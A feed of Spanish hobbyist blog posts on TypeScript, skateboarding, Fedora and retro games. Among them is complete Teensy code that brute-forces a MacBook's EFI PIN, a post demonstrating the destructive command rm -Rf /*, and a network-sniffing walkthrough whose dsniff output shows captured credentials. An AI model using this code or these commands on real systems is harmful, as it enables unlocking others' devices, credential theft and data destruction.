TypeScript Origins: The Documentary es un documental creado por Keyboard Stories que explora el proceso de creación de TypeScript. Lo más me gustó de ese documental, es que cuenta con comentarios de sus creadores y de las personas involucradas en su desarrollo, presentación y difusión, ofreciendo una visión completa de la historia detrás de este lenguaje. Este documental de TypeScript es algo que no se deben perder si están involucrados de alguna forma con el mundo de la programación.

¿Qué tiene de importante TypeScript?

Si te parece extraño que hayan hecho un documental de TypeScript de este calibre, es porque actualmente es uno de los lenguajes mas populares. JavaScript probablemente es el lenguaje mas popular actualmente, pero tiene muchas carencias como la falta de tipado/tipos (para mí es una de las cosas por las cuales opino que no es un buen lenguaje) que permite entre muchas cosas, crear código mas complejo, ayudar a los programadores escribir mejores programas limitando el tipo de datos que se pueden guardar o pasar en funciones, optimizar la velocidad de ejecución de los programas, entre otros.

TypeScript nace como solución a este problema, expandiendo su uso rápidamente e inclusive siendo sustituto de JS en muchas compañías. Ademas de ser el lenguaje que hizo posible en su día a tecnologías como Angular y Visual Studio Code.

Mi opinión del documental de TypeScript

El documental comienza con los principales creadores narrando cuáles fueron las causas para desarrollar este lenguaje dentro de Microsoft. Luego, muestra un poco el proceso de desarrollo y, posteriormente, el lanzamiento al público. En estas partes, podemos recordar las conferencias en las que fue anunciado.

Me llamó la atención, cómo comentan que querían liberarlo bajo una licencia abierta pero Microsoft no estaba acostumbrado a eso. Pero con la nueva gerencia les tocó evolucionar y lo consiguieron.

En el proceso de creación de TS, vemos como el lenguaje fue usado para construir Visual Studio Code; posteriormente el equipo de Angular (del rival Google), se unió para hacer que TypeScript soportara decoradores gracias al proyecto AtScript.

Pero en vez de contarte mas, te recomiendo que lo veas a continuación:

YouTube Video

Me pareció muy inspirador ver este documental de TypeScript. Ver la historia contada por los mismos creadores, observar como creció desde una idea para poder terminar otro proyecto, hasta ser uno de los principales lenguajes de programación, es muy placentero.

Ojalá hagan mas documentales de este tipo, tal vez uno de Visual Studio Code. Pues luego de ver este documental me dio curiosidad de cómo desarrollaron este editor.

Finalmente, te recomiendo aprender este lenguaje y hacer tu experiencia con JS mas placentera.

La entrada Documental de la creación de TypeScript se publicó primero en El blog de Skatox.

Desde el año 2000 practico skate y es mi hobbie favorito. Entonces como hoy cumplo 36 años, para celebrarlo, decidí filmar un video skate aprovechando que he estado bajando de peso y he estado agarrando mejor condición física para patinar.

¿Por qué 36 trucos en el video skate?

En el mundo del skateboarding, muchas personas luego de los 30 años suelen sacar un vídeo haciendo como cantidad de trucos, la cantidad de años que están cumpliendo. Por esta razón el video skate contiene 36 trucos porque estoy cumpliendo 36 años en el día de hoy.

Me costó un poco perder el miedo a volver a hacer trucos luego de una lesión que tuve el año pasado, pero gracias a la presión de filmar los 36 trucos pude volverlos a aterrizar y hacerlos.

Así que sin mas preámbulos les comparto mi video de 36 trucos:

YouTube Video

Fue un reto grabar 36 trucos distintos, pero estoy feliz de haberlo logrado. Y finalmente, quiero decirte que si viste mi video completo, te doy las gracias por hacerlo, significa mucho para mi.

La entrada Mi video Skate: 36 trucos para mi cumpleaños 36 se publicó primero en El blog de Skatox.

Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.

Teensy v3 usada para el ataque al EFI PIN

Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.



Un poco de historia en este caso.

Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.

Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:

Captura de pantalla bloqueada por el iCloud PIN de OSX


Manos a la obra.

Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice `dd if=/dev/random of=/dev/sdd` como por unos 30 minutos, detuve el proceso y volví a armar la MBP.

Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.

En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?



Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.

Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.

Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y mi pronta realización de que necesitaría un hardware especializado para esto.

La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python.

Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.

El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción.

Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.



El código y el ataque

Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final. Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el "enter".

Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:

#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter < = 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito. Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.

Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:

while true do
  clear echo
  date start=`date +%s -d "Wed Jan 16 17:46:00"`
  current=`date +%s`
  echo "Current PIN Between: " | tr '\n' ' '
  echo "($current - $start) / 19.782" | bc | tr '\n' ' '
  echo " and " | tr '\n' ' '
  echo "($current - $start) / 18.782" | bc
  sleep 2
done

Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.

Foto del shell script que da un estimado de que rango de números se están usando para el ataque


Buenas noticias, Malas noticias.

Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.

En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.

Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.

Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.

El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.

Aquí les dejo un vídeo del ataque:



Alternativas un poco mas extremas.

En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.

Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.



UPDATE: Un bug en el código

Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).

En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.

- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:

Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto

Se que a muchos les da curiosidad ver que sucede cuando intentamos eliminar de forma recursiva todos los archivos y directorios del directorio raíz de nuestro sistema así que aproveche de hacer un video precisamente ejecutando rm -Rf /* como root. Aquí pueden ver el video:

Como ven las consecuencias son visibles tan pronto empezamos a ejecutar este comando y si se fijaron hay directorios que no son eliminados.

Estos directorios como es el caso de /proc residen en memoria y no pueden ser eliminados mientras que otros como /var contienen directorios que a su vez residen en memoria con es el caso de /var/tmp en mi instalación de Fedora.



Post-análisis luego del rm -Rf /

En vista de que me han preguntado varias veces y muchos han especulado sin realmente tener pruebas me decidi a averiguar en que estado quedaba el sistema operativo. ¿Que archivos y directorios sobrevivieron?

Para responder esto simplemente monte el disco duro viejo en otra instalación de linux y ejecute find /mnt/oldhdd -type lo que arrojo como resultado:

/mnt/oldhdd/
/mnt/oldhdd/sys
/mnt/oldhdd/dev
/mnt/oldhdd/var
/mnt/oldhdd/var/tmp
/mnt/oldhdd/run
/mnt/oldhdd/run/libgpod
/mnt/oldhdd/run/faillock
/mnt/oldhdd/run/setroubleshoot
/mnt/oldhdd/run/openvpn
/mnt/oldhdd/run/plymouth
/mnt/oldhdd/run/wpa_supplicant
/mnt/oldhdd/run/netreport
/mnt/oldhdd/run/mdadm
/mnt/oldhdd/run/cups
/mnt/oldhdd/run/cups/certs
/mnt/oldhdd/run/spice-vdagentd
/mnt/oldhdd/run/sepermit
/mnt/oldhdd/run/abrt
/mnt/oldhdd/run/console
/mnt/oldhdd/run/vpnc
/mnt/oldhdd/run/ppp
/mnt/oldhdd/run/blkid
/mnt/oldhdd/run/setrans
/mnt/oldhdd/run/utmp
/mnt/oldhdd/run/net-snmp
/mnt/oldhdd/run/lock
/mnt/oldhdd/run/lock/dmraid
/mnt/oldhdd/run/lock/lockdev
/mnt/oldhdd/run/lock/ppp
/mnt/oldhdd/run/NetworkManager
/mnt/oldhdd/run/saslauthd
/mnt/oldhdd/run/gdm
/mnt/oldhdd/run/gdm/greeter
/mnt/oldhdd/run/pptp
/mnt/oldhdd/proc
/mnt/oldhdd/boot
/mnt/oldhdd/media
/mnt/oldhdd/tmp

Como ven a excepción de /mnt/oldhdd/run/utmp todos son directorios.

Mas de una vez he intenten ejecutar sl cuando intentan ejecutar ls para listar archivos y directorios, es un error que todos cometemos pero ¿que pasaria si sl en realidad fuese un comando?. Afortunadamente para nuestro entretenimiento hay una aplicación de nombre sl y consiste en un tren ascii que sale en el terminal cada vez al momento de ejecutar sl. Perfecto para una broma practica, instalarlo en un servidor que muchas personas usan y esperar a escuchar los cuentos.

Aquí les dejo un video que muestra como instalarlo y como se ve al momento de ejecutarlo.


En caso de que no puedas ver el video, puedes instalar esta aplicación ejecutando:

su - yum install -y sl

Como ven es inofensivo, o por lo menos menos inofensivo que un ualias a rm -Rf /*, de hecho un compañero de trabajo fue el que me comento sobre esta broma practica. La aplicación sl esta disponible para OSX a través del manejador de paquetes brew.

Uno de los juegos mas clásicos es el de Príncipe de Persia, de hecho fue uno de los que mas jugué cuando era chamo.

Hoy encontré como jugarlo de nuevo usando el emulador de DOS DOSBox. Este emulador esta optimizado para videojuegos que en un principio fueron diseñados para correr sobre MS-DOS y esto es justo lo que estamos buscando. Aproveche y les hice un vídeo de menos de 3 minutos que les explica como instalarlo, aquí se los dejo.

En caso de que no hayan captado algunos detalles en el vídeo cree un grupo de secuencias de comandos que les ayudara a dejar corriendo el juego Prince of Persia en Fedora, en mi caso estoy usando Fedora 17.

Esta seria la primera secuencia de comandos para dejar Prince of Persia instalado en nuestro Fedora.

su -
yum install dosbox -y
exit
mkdir ~/games
firefox http://www.bestoldgames.net/eng/old-games/prince-of-persia.php

Como ven lo que estamos haciendo es instalando DOSBox, creando un directorio donde tendremos nuestro juegos y abriendo FireFox en la pagina para descargar el juego como tal. Una vez en la pagina, descargamos el juego, lo copiamos a la carpeta ~/games y lo descomprimimos.

cp ~/prince*zip ~/games
cd ~/games
unzip ~/prince*zip
rm ~/prince*zip

Ahora vamos a arrancar DOSBox y una vez dentro del emulador vamos a montar ~/games como si fuese la unidad C y arrancamos el juego.

Recuerde remplazar /home/usuario/games por la ruta completa a su directorio home.

Aunque se nota que lo hice de apuros cualquier persona puede darse cuenta de lo sencillo que es instalar Linux, no requiere seriales, códigos de verificación ni cracks o hacks y lo mejor de todos, puedes relajarte pues siempre y cuando lo descargues de la pagina oficial de Fedora puedes estar seguro de que no viene con virus. Sin mas que decir, aquí se los dejo:


En el video asumo que ya han descargado Fedora Linux, en caso de que esto no sea así, pueden descargarlo desde fedoraproject.org/es/get-prerelease y recuerda, Fedora no solo es gratis. Es libre como en "Libertad de expresión", puedes usarlo para tus propios propósitos, sin restricciones legales.

Durante el video pueden apreciar la primera pantalla de inicio luego del arranque, esta aparece solo una vez a menos que alteren el sistema operativo. Si por cualquier razón necesitan que al iniciar Fedora te salga de nuevo esta pantalla, puedes forzar el sistema operativo para que de nuevo muestre este Setup Agent.

La nueva interfaz gráfica de Fedora 15 (Gnome 3) puede ser confusa para algunos, en especial si están acostumbrados a otros sistemas operativos o distribuciones. Recientemente he visto como se ha incrementado la cantidad de preguntas en canal de IRC #fedora-latam referente a este tema, desde ¿Como se instalan programas en Fedora? hasta "Descargue este blender.exe, ¿Como lo instalo?".

La ventaja de usar aplicaciones que están en el repositorio de Fedora es que los programas allí colocados tienen una firma electrónica que valida y garantiza la autenticidad del programa que estás instalando además garantiza que el programa que instalas tiene una alta calidad y es compatible 100% con Fedora y a diferencia de Windows no tienes que estar buscando cracks ni tener que hacer cualquier cantidad de cosas antes de poderlos descargar.

Aquí les dejo un video:



Para los que tienen equipos que no soportan la nueva interfaz gráfica de Gnome 3 y están corriendo en 'fall-back mode' aquí les dejo unas capturas de pantalla:

  1. Hacemos click en Aplicaciones, se encuentra en la parte superior izquierda de nuestras pantallas, seguidamente click en Herramientas de sistema del y por ultimo en Añadir/Quitar Software

    Click en Aplicaciones luego en Herramientas de sistema y por ultimo Añadir/Quitar Software

  2. Buscamos la aplicación que queremos instalar, en este caso Blender y la seleccionamos en la ventana de los resultados que se encuentra a la derecha.

    Buscamos la aplicación, en este caso blender

  3. Revisamos las dependencias requeridas para instalar esta aplicación y aceptamos.

    Revisamos la lista de dependencias y aceptamos

  4. Por ultimo, autorizamos la instalación de la aplicación y su dependencias autentificandonos con las credenciales apropiadas.

    Autorizamos la instalación autentificandonos con las credenciales apropiadas

  5. Luego de esto Blender se instalara con todas las dependencias necesarias para su funcionamiento. Los programas instalados pueden ser localizados inmediatamente en el menú de aplicaciones.

Mi presentación ante el Grupo de Usuarios de Linux de South MIami Dade

A finales del 2006 fue la ultima vez que asistí a una reunión del grupo de usuarios de Linux (LUG por su siglas en ingles) de Miami hasta este pasado fin de semana. El grupo es un poco mas pequeño de lo que recuerdo pero las intenciones y la motivación siguen siendo las mismas.

Mi participación este pasado 11 de Junio no se limito a ser oyente, por el contrario, di una corta charla que consistió en un recuento del FUDcon de Panamá, Un servidor casero económico y diagnosticar problemas usando strace.

El tema que mas genero preguntas fue el del "Un servidor casero económico" especialmente sobre un NSLU2 que lleve para que lo vieran, algunos de los participantes no podían creer que esa cosa tan pequeña con un costo menor de $30 pudiese convertirse en un servidor web. Parte de mi charla consistió en demostrar lo que es capaz de hacer este mini NAS hackeado a mini server, así que les mostré el blog http://www.linuxevolution.org que esta corriendo sobre mi NSLU2 y además les hice una demostración de transmisión de imágenes en vivo con fotos del evento.

La charla cerro con el tema de 'Diagnosticar problemas con strace' fue la siguiente y aunque cubrí todo lo básico, me hubiese gustado haber hecho una practica sobre este tema.

Aquí les dejo un video de parte de mi presentación donde le explico a un miembro del LUG sobre el NSLU2. Me despido muy agradecido con Jonathan Respeto del southdadelug.org por su invitación a este evento y pueden descargar aqui mi presentación en formato PDF.

Si te pareció interesante este articulo, tal vez este otro también te interese: Reunión de septiembre en el LUG de Miami

Cuando uno habla de hacking o hacks, la mayoría de la gente lo asocia con el típico nerd que vive con su mama y que desde el sótano de su casa irrumpe en otras computadoras. En este articulo voy a hablar un poco de las herramientas disponibles para hacer precisamente eso, pero por motivos didácticos, así que no soy responsable de sus acciones. La mayoría de ustedes han escuchado de nmap y nessus pero que hay de las otras herramientas? echemosle un vistazo y juguemos un poco con la red.

La preferida por muchos es tcpdump, es una herramienta que simplemente nos permite escuchar todo el trafico de la red y graba todos estos paquetes para que luego los podamos analizar. Si tienes mas de una NIC, puedes especificar por cual quieres escuchar pasándole el parámetro -i interfaz. Una cosa que me gusta es que tcpdump pone tu NIC en modo promiscuo (o por lo menos intenta hacerlo) de forma predeterminada, de esta forma puede escuchar todo el trafico de ese segmento de la red. Para deshabilitar el modo promiscuo y limitar el trafico solo a el que le compete a tu NIC puedes usar el parámetro -p. Hay muchos otros parámetros que puedes usar, recuerda ejecutar man tcpdump para mas información.

Aquí les dejo un video que muestra como saber que sitios web estan visitanto desde nuestra red.


Ahora bien, vamos a cuidar nuestras espaldas y supongamos que queremos saber que ordenadores están en tu segmento de red pero queremos evitar enviar paquetes a la red preguntando por estos ordenadores para que no nos delate (recuerda, este tipo de actividad le puede parecer sospechoso al administrador). La herramienta indicada para esta tarea es p0f, esta usa técnicas pasivas para tratar de adivinar que sistemas existen en tu segmento de red y al igual que tcpdump permite especificar la interfaz a usar y grabar trafico guardándolo en un archivo estilo tpcdump.

Nuestras dos herramientas se empiezan a diferenciar a la hora de definir de forma predeterminada el estado de promiscuidad de nuestra NIC, p0f requiere que especifiques que quieres que la NIC este en modo promiscuo y solo escucha cuando un ordenador en nuestra red abre nuevas conexiones. Aquí una lista de parámetros útiles para p0f.

  1. -i Especifica la NIC por la que va a escuchar (p0f -i eth0)
  2. -w Guarda la salida en formato tcpdump (p0f -i eth0 -w laboratorio.dump)
  3. -o Al igual que -w guarda la salida de este comando pero en un archivo de texto sin formato tcpdump
  4. -O Proporciona una salida mas descriptiva. Tambien llamado modo ACK
  5. -p Indica que quieres que ponga la NIC en modo promiscuo (p0f -i eth0 -p)
  6. -s Analiza un archivo que previamente capturaste en formato tcpdump

El problema de todo esto hasta ahora es que es muy probable que el resto de las maquinas esten bajo una NAT y no podamos verlas como tal, solo veremos el router. Uno puede usar el parámetro -M que le indica a p0f que use un algoritmo de detección de enmascaramiento e intenta identificar estas maquinas individualmente.

Supongamos que ya sabemos cuales son los otros ordenadores que existen en nuestra red, ahora lo interesante es saber que tipo de trafico tienen, sera FTP? o tal vez HTTP?, POP?, IMAP? o cualquier otro que sea de nuestro interés. Lo segundo que en mi caso me llama la atención es ver desde donde viene este trafico, con quien se comunican estos otros ordenadores? para responder todo esto podemos usar nuestra tercera herramienta, dsniff.

Esta utilidad al igual que las anteriores nos permite especificar que interfaz queremos usar e incluso podemos usar el parámetro -p para que use archivos que han sido grabados previamente. Puedes habilitar la detección automática de protocolos usando el parámetro -m lo que te va dar detalles crudos de que hacen tus vecinos de red.

La salida de este comando luce algo asi:

~# dsniff -m
dsniff: listening on eth0
-----------------
02/01/11 09:50:19 tcp 10.153.212.26.46004 -> trillian.gtlib.gatech.edu.21 (ftp)
USER anonymous
PASS mailto:axel-devel@lists.alioth.debian.org

-----------------
02/01/11 09:51:50 tcp 10.153.212.26.48257 -> linux.nssl.noaa.gov.21 (ftp)
USER anonymous
PASS mailto:axel-devel@lists.alioth.debian.org

-----------------
02/01/11 09:53:06 tcp 10.153.212.26.39551 -> chernabog.cc.vt.edu.21 (ftp)
USER anonymous
PASS chrome@example.com

Ahora que sabemos quienes están a nuestro alcance, que hacen y con quien, podemos revisar la seguridad de los servicios que prestan, el mas común es el servicio web.

Una herramienta buena para revisar como esta la seguridad de nuestro servidor web es nitko. Puedes seleccionar el hostname con la opción -h incluso puedes pasarle una lista de host o IPs en un archivo de texto. nitko se enfoca en el puerto 80 de forma predeterminada pero puedes alterar esto usando el parámetro -p de hecho tiene un montón de parámetros que puedes usar para pruebas de seguridad especificas... mas de las que quisiera mencionar aquí.

No quería terminar este articulo sin antes mencionar chkrootkit, esta utilidad nos permite analizar sistemas y trata de terminar si han sido manipulados, para ver una lista de las pruebas disponibles puedes usar el parámetro -l. Útil para verificar si el sistema ha sido infectado o si tiene rootkits.

Este articulo es para fines didácticos, para que 'juegues' en tu propia red y no para que dañes sistemas ajenos ni adquieras a información que no te pertenece.